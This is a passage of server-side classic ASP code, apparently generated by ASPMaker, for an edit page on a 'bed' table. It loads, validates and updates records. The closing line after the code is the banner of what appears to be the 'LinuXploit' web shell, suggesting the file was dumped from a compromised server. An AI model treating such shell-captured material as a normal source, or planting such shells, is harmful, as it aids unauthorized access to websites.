		Err.Clear
		Set cnn = bed.TableConnection
		sFilter = bed.CurrentFilter
		bed.CurrentFilter = "(0 = 1)"
		sSql = bed.SQL
		bed.CurrentFilter = sFilter
		Set rs = Server.CreateObject("ADODB.Recordset")
		rs.CursorLocation = 3 ' adUseClient
		Call ew_SetDebugMsg("NewRow: " & sSql) ' Show SQL for debugging
		rs.Open sSql, cnn, 3, 4 ' adOpenStatic, adLockBatchOptimistic

		' Disconnect the Recordset
		Set rs.ActiveConnection = Nothing

		' Add new record
		rs.AddNew
		rs("Page_Name") = Null
		rs("Title") = Null
		rs("Description") = Null
		rs("Enable") = Null
		rs("Sequence") = Null
		rs("IP") = Null
		rs("Date") = Null
		rs("Username") = Null

		' Return the recordset
		If Err.Number = 0 Then
			Set NewRow = rs
		Else
			Set NewRow = Nothing
		End If
	End Function

	' Load DbValue from recordset
	Sub LoadDbValues(Rs)
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		If ew_Empty(Rs) Then Exit Sub
		If Rs.EOF Then Exit Sub
		bed.ID.m_DbValue = Rs("ID")
		bed.Page_Name.m_DbValue = Rs("Page_Name")
		bed.Title.m_DbValue = Rs("Title")
		bed.Description.m_DbValue = Rs("Description")
		bed.Enable.m_DbValue = Rs("Enable")
		bed.Sequence.m_DbValue = Rs("Sequence")
		bed.IP.m_DbValue = Rs("IP")
		bed.zDate.m_DbValue = Rs("Date")
		bed.Username.m_DbValue = Rs("Username")
	End Sub

	' Load old record
	Function LoadOldRecord()

		' Load key values from Session
		Dim bValidKey
		bValidKey = True
		If bed.GetKey("ID")&"" <> "" Then
			bed.ID.CurrentValue = bed.GetKey("ID") ' ID
		Else
			bValidKey = False
		End If

		' Load old record
		OldRecordset = Null
		If bValidKey Then
			bed.CurrentFilter = bed.KeyFilter
			Dim sSql
			sSql = bed.SQL
			Set OldRecordset = ew_LoadRecordsetByDbid(sSql, bed.TableDBID)
		End If
		Call LoadRowValues(OldRecordset) ' Load row values
		LoadOldRecord = bValidKey
	End Function

	'
	' Render row values based on field settings
	'
	Sub RenderRow()

		' Initialize URLs
		' Call Row Rendering event

		Call bed.Row_Rendering

		'
		' Common render codes for all row types
		'
		' ID
		' Page_Name
		' Title
		' Description
		' Enable
		' Sequence
		' IP
		' Date
		' Username
		'
		' View Row
		'

		If bed.RowType = EW_ROWTYPE_VIEW Then ' View row

			' ID
			bed.ID.ViewValue = bed.ID.CurrentValue
			bed.ID.ViewCustomAttributes = ""

			' Page_Name
			bed.Page_Name.ViewValue = bed.Page_Name.CurrentValue
			bed.Page_Name.ViewCustomAttributes = ""

			' Title
			bed.Title.ViewValue = bed.Title.CurrentValue
			bed.Title.ViewCustomAttributes = ""

			' Description
			bed.Description.ViewValue = bed.Description.CurrentValue
			bed.Description.ViewCustomAttributes = ""

			' Enable
			If Not IsNull(bed.Enable.CurrentValue) Then
				bed.Enable.ViewValue = bed.Enable.OptionCaption(bed.Enable.CurrentValue)
			Else
				bed.Enable.ViewValue = Null
			End If
			bed.Enable.ViewCustomAttributes = ""

			' Sequence
			bed.Sequence.ViewValue = bed.Sequence.CurrentValue
			bed.Sequence.ViewCustomAttributes = ""

			' IP
			bed.IP.ViewValue = bed.IP.CurrentValue
			bed.IP.ViewCustomAttributes = ""

			' Date
			bed.zDate.ViewValue = bed.zDate.CurrentValue
			bed.zDate.ViewValue = ew_FormatDateTime(bed.zDate.ViewValue, 0)
			bed.zDate.ViewCustomAttributes = ""

			' Username
			bed.Username.ViewValue = bed.Username.CurrentValue
			bed.Username.ViewCustomAttributes = ""

			' View refer script
			' ID

			bed.ID.LinkCustomAttributes = ""
			bed.ID.HrefValue = ""
			bed.ID.TooltipValue = ""

			' Page_Name
			bed.Page_Name.LinkCustomAttributes = ""
			bed.Page_Name.HrefValue = ""
			bed.Page_Name.TooltipValue = ""

			' Title
			bed.Title.LinkCustomAttributes = ""
			bed.Title.HrefValue = ""
			bed.Title.TooltipValue = ""

			' Description
			bed.Description.LinkCustomAttributes = ""
			bed.Description.HrefValue = ""
			bed.Description.TooltipValue = ""

			' Enable
			bed.Enable.LinkCustomAttributes = ""
			bed.Enable.HrefValue = ""
			bed.Enable.TooltipValue = ""

			' Sequence
			bed.Sequence.LinkCustomAttributes = ""
			bed.Sequence.HrefValue = ""
			bed.Sequence.TooltipValue = ""

			' IP
			bed.IP.LinkCustomAttributes = ""
			bed.IP.HrefValue = ""
			bed.IP.TooltipValue = ""

			' Date
			bed.zDate.LinkCustomAttributes = ""
			bed.zDate.HrefValue = ""
			bed.zDate.TooltipValue = ""

			' Username
			bed.Username.LinkCustomAttributes = ""
			bed.Username.HrefValue = ""
			bed.Username.TooltipValue = ""

		'
		' Edit Row
		'

		ElseIf bed.RowType = EW_ROWTYPE_EDIT Then ' Edit row

			' ID
			Call bed.ID.EditAttrs.UpdateAttribute("class", "form-control")
			bed.ID.EditCustomAttributes = ""
			bed.ID.EditValue = bed.ID.CurrentValue
			bed.ID.ViewCustomAttributes = ""

			' Page_Name
			Call bed.Page_Name.EditAttrs.UpdateAttribute("class", "form-control")
			bed.Page_Name.EditCustomAttributes = ""
			bed.Page_Name.EditValue = ew_HtmlEncode(bed.Page_Name.CurrentValue)
			bed.Page_Name.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(bed.Page_Name.FldCaption))

			' Title
			Call bed.Title.EditAttrs.UpdateAttribute("class", "form-control")
			bed.Title.EditCustomAttributes = ""
			bed.Title.EditValue = ew_HtmlEncode(bed.Title.CurrentValue)
			bed.Title.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(bed.Title.FldCaption))

			' Description
			Call bed.Description.EditAttrs.UpdateAttribute("class", "form-control")
			bed.Description.EditCustomAttributes = ""
			bed.Description.EditValue = ew_HtmlEncode(bed.Description.CurrentValue)
			bed.Description.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(bed.Description.FldCaption))

			' Enable
			bed.Enable.EditCustomAttributes = ""
			bed.Enable.EditValue = bed.Enable.Options(False)

			' Sequence
			Call bed.Sequence.EditAttrs.UpdateAttribute("class", "form-control")
			bed.Sequence.EditCustomAttributes = ""
			bed.Sequence.EditValue = ew_HtmlEncode(bed.Sequence.CurrentValue)
			bed.Sequence.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(bed.Sequence.FldCaption))

			' IP
			' Date
			' Username
			' Edit refer script
			' ID

			bed.ID.LinkCustomAttributes = ""
			bed.ID.HrefValue = ""

			' Page_Name
			bed.Page_Name.LinkCustomAttributes = ""
			bed.Page_Name.HrefValue = ""

			' Title
			bed.Title.LinkCustomAttributes = ""
			bed.Title.HrefValue = ""

			' Description
			bed.Description.LinkCustomAttributes = ""
			bed.Description.HrefValue = ""

			' Enable
			bed.Enable.LinkCustomAttributes = ""
			bed.Enable.HrefValue = ""

			' Sequence
			bed.Sequence.LinkCustomAttributes = ""
			bed.Sequence.HrefValue = ""

			' IP
			bed.IP.LinkCustomAttributes = ""
			bed.IP.HrefValue = ""

			' Date
			bed.zDate.LinkCustomAttributes = ""
			bed.zDate.HrefValue = ""

			' Username
			bed.Username.LinkCustomAttributes = ""
			bed.Username.HrefValue = ""
		End If
		If bed.RowType = EW_ROWTYPE_ADD Or bed.RowType = EW_ROWTYPE_EDIT Or bed.RowType = EW_ROWTYPE_SEARCH Then ' Add/Edit/Search row
			Call bed.SetupFieldTitles
		End If

		' Call Row Rendered event
		If bed.RowType <> EW_ROWTYPE_AGGREGATEINIT Then
			Call bed.Row_Rendered
		End If
	End Sub

	'
	' Validate form
	'
	Function ValidateForm()

		' Initialize
		gsFormError = ""

		' Check if validation required
		If Not EW_SERVER_VALIDATE Then
			ValidateForm = (gsFormError = "")
			Exit Function
		End If
		If Not bed.Page_Name.FldIsDetailKey And Not IsNull(bed.Page_Name.FormValue) And bed.Page_Name.FormValue&"" = "" Then
			Call ew_AddMessage(gsFormError, Replace(bed.Page_Name.ReqErrMsg, "%s", bed.Page_Name.FldCaption))
		End If
		If Not bed.Description.FldIsDetailKey And Not IsNull(bed.Description.FormValue) And bed.Description.FormValue&"" = "" Then
			Call ew_AddMessage(gsFormError, Replace(bed.Description.ReqErrMsg, "%s", bed.Description.FldCaption))
		End If
		If bed.Enable.FormValue&"" = "" Then
			Call ew_AddMessage(gsFormError, Replace(bed.Enable.ReqErrMsg, "%s", bed.Enable.FldCaption))
		End If
		If Not ew_CheckInteger(bed.Sequence.FormValue) Then
			Call ew_AddMessage(gsFormError, bed.Sequence.FldErrMsg)
		End If

		' Return validate result
		ValidateForm = (gsFormError = "")

		' Call Form Custom Validate event
		Dim sFormCustomError
		sFormCustomError = ""
		ValidateForm = ValidateForm And Form_CustomValidate(sFormCustomError)
		If sFormCustomError <> "" Then
			Call ew_AddMessage(gsFormError, sFormCustomError)
		End If
	End Function

	'
	' Update record based on key values
	'
	Function EditRow()
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		Dim cnn, Rs, sSql, sFilter
		Dim RsChk, sSqlChk, sFilterChk
		Dim bUpdateRow
		Dim RsOld, RsNew
		Dim sIdxErrMsg

		' Clear any previous errors
		Err.Clear
		sFilter = bed.KeyFilter
		Set cnn = bed.TableConnection
		bed.CurrentFilter = sFilter
		sSql = bed.UpdateTableSQL
		Set Rs = Server.CreateObject("ADODB.Recordset")
		Rs.CursorLocation = bed.TableCursorLocation
		Call ew_SetDebugMsg("EditRow: " & sSql) ' Show SQL for debugging
		Rs.Open sSql, cnn, 1, bed.TableRecordsetLockType
		If Err.Number <> 0 Then
			Message = Err.Description
			Rs.Close
			Set Rs = Nothing
			EditRow = False
			Exit Function
		End If

		' Clone old recordset object
		Set RsOld = ew_CloneRs(Rs)
		Call LoadDbValues(RsOld)
		If Rs.EOF Then
			FailureMessage = Language.Phrase("NoRecord") ' Set no record message
			EditRow = False ' Update Failed
		Else

			' Field Page_Name
			Call bed.Page_Name.SetDbValue(Rs, bed.Page_Name.CurrentValue, Null, bed.Page_Name.ReadOnly)

			' Field Title
			Call bed.Title.SetDbValue(Rs, bed.Title.CurrentValue, Null, bed.Title.ReadOnly)

			' Field Description
			Call bed.Description.SetDbValue(Rs, bed.Description.CurrentValue, Null, bed.Description.ReadOnly)

			' Field Enable
			Call bed.Enable.SetDbValue(Rs, bed.Enable.CurrentValue, Null, bed.Enable.ReadOnly)

			' Field Sequence
			Call bed.Sequence.SetDbValue(Rs, bed.Sequence.CurrentValue, Null, bed.Sequence.ReadOnly)

			' Field IP
			Call bed.IP.SetDbValue(Rs, ew_CurrentUserIP, Null, False)

			' Field Date
			Call bed.zDate.SetDbValue(Rs, ew_CurrentDate, Null, False)

			' Field Username
			Call bed.Username.SetDbValue(Rs, CurrentUserName, Null, False)

			' Check recordset update error
			If Err.Number <> 0 Then
				FailureMessage = Err.Description
				Rs.Close
				Set Rs = Nothing
				EditRow = False
				Exit Function
			End If

			' Call Row Updating event
			bUpdateRow = bed.Row_Updating(RsOld, Rs)
			If bUpdateRow Then

				' Clone new recordset object
				Set RsNew = ew_CloneRs(Rs)
				EditRow = True
				If EditRow Then
					Call ew_SetDebugMsg("Update: " & ew_HtmlEncode(ew_RecordToJson(Rs))) ' Show data for debugging
					Rs.Update
				End If
				If Err.Number <> 0 Or Not EditRow Then
					If Err.Description <> "" Then FailureMessage = Err.Description
					EditRow = False
				Else
					EditRow = True
				End If
				If EditRow Then
				End If
			Else
				Rs.CancelUpdate

				' Set up error message
				If SuccessMessage <> "" Or FailureMessage <> "" Then

					' Use the message, do nothing
				ElseIf bed.CancelMessage <> "" Then
					FailureMessage = bed.CancelMessage
					bed.CancelMessage = ""
				Else
					FailureMessage = Language.Phrase("UpdateCancelled")
				End If
				EditRow = False
			End If
		End If

		' Call Row_Updated event
		If EditRow Then
			Call bed.Row_Updated(RsOld, RsNew)
		End If
		Rs.Close
		Set Rs = Nothing
		If ew_NotEmpty(RsOld) Then
			RsOld.Close
			Set RsOld = Nothing
		End If
		If ew_NotEmpty(RsNew) Then
			RsNew.Close
			Set RsNew = Nothing
		End If
	End Function

	' Set up Breadcrumb
	Sub SetupBreadcrumb()
		Dim PageId, url
		Set Breadcrumb = New cBreadcrumb
		url = Mid(ew_CurrentUrl(), InStrRev(ew_CurrentUrl(), "/") + 1)
		Call Breadcrumb.Add("list", bed.TableVar, bed.AddMasterUrl("bedlist.asp"), "", bed.TableVar, True)
		PageId = "edit"
		Call Breadcrumb.Add("edit", PageId, url, "", "", False)
	End Sub

	' Setup lookup filters of a field
	Sub SetupLookupFilters(fld, pageId)
		pageId = ew_IIf(ew_EmptyStr(pageId), bed_edit.PageID, pageId)
		Select Case fld.FldVar
		End Select
	End Sub

	' Setup AutoSuggest filters of a field
	Sub SetupAutoSuggestFilters(fld, pageId)
		pageId = ew_IIF(ew_EmptyStr(pageId), bed_edit.PageID, pageId)
		Select Case fld.FldVar
		End Select
	End Sub

	' Page Load event
	Sub Page_Load()

		'Response.Write "Page Load"
	End Sub

	' Page Unload event
	Sub Page_Unload()

		'Response.Write "Page Unload"
	End Sub

	' Page Redirecting event
	Sub Page_Redirecting(url)

		'url = newurl
	End Sub

	' Message Showing event
	' typ = ""|"success"|"failure"|"warning"
	Sub Message_Showing(msg, typ)

		' Example:
		'If typ = "success" Then
		'	msg = "your success message"
		'ElseIf typ = "failure" Then
		'	msg = "your failure message"
		'ElseIf typ = "warning" Then
		'	msg = "your warning message"
		'Else
		'	msg = "your message"
		'End If

	End Sub

	' Page Render event
	Sub Page_Render()

		'Response.Write "Page Render"
	End Sub

	' Page Data Rendering event
	Sub Page_DataRendering(header)

		' Example:
		'header = "your header"

	End Sub

	' Page Data Rendered event
	Sub Page_DataRendered(footer)

		' Example:
		'footer = "your footer"

	End Sub

	' Form Custom Validate event
	Function Form_CustomValidate(CustomError)

		'Return error message in CustomError
		Form_CustomValidate = True
	End Function
End Class
%>

Youez - 2016 - github.com/yon3zu
LinuXploit